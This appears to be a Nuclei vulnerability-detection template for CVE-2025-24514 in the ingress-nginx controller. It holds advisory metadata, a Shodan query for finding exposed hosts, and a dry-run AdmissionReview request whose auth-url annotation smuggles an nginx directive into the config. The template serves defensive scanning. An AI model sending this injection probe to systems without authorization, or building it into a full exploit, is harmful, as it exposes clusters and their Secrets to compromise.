id: CVE-2025-24514 info: name: Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-url` Annotation author: iamnoooob,rootxharsh,pdresearch severity: high description: | A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the `auth-url` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.) impact: | Authenticated users with Ingress creation permissions can inject nginx configuration through the auth-url annotation, leading to arbitrary code execution in the ingress-nginx controller context and disclosure of all Kubernetes Secrets cluster-wide. remediation: | Upgrade to the patched version of ingress-nginx that properly sanitizes the auth-url annotation. reference: - https://github.com/kubernetes/kubernetes/issues/131006 - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities - https://nvd.nist.gov/vuln/detail/CVE-2025-24514 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2025-24514 cwe-id: CWE-20 epss-score: 0.32473 epss-percentile: 0.98197 metadata: verified: true max-request: 1 shodan-query: ssl:"ingress-nginx" port:8443 tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,vuln http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": { "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a6", "kind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "resource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "requestKind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "requestResource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "name": "test-{{randstr}}", "namespace": "default", "operation": "CREATE", "userInfo": { }, "object": { "kind": "Ingress", "apiVersion": "networking.k8s.io/v1", "metadata": { "name": "test-{{randstr}}", "namespace": "default", "creationTimestamp": null, "annotations": { "nginx.ingress.kubernetes.io/auth-url": "http://example.com#;load_module test;\n" } }, "spec": { "ingressClassName": "nginx", "rules": [ { "host": "{{randstr}}", "http": { "paths": [ ] } } ] }, "status": { "loadBalancer": {} } }, "oldObject": null, "dryRun": true, "options": { "kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1" } } } matchers: - type: word part: body words: - 'AdmissionReview' - 'directive is not allowed here' - 'load_module' condition: and # digest: 490a004630440220363d13f8dcb40b9e7e3a993d2ed776168a1ebc7118ee9de30e9cb69768bcfbac0220092aaa7950f18c071d27fef32ef7473b0471bd3980cdae22855e58ab5fff6083:922c64590222798bb761d5b6d8e72950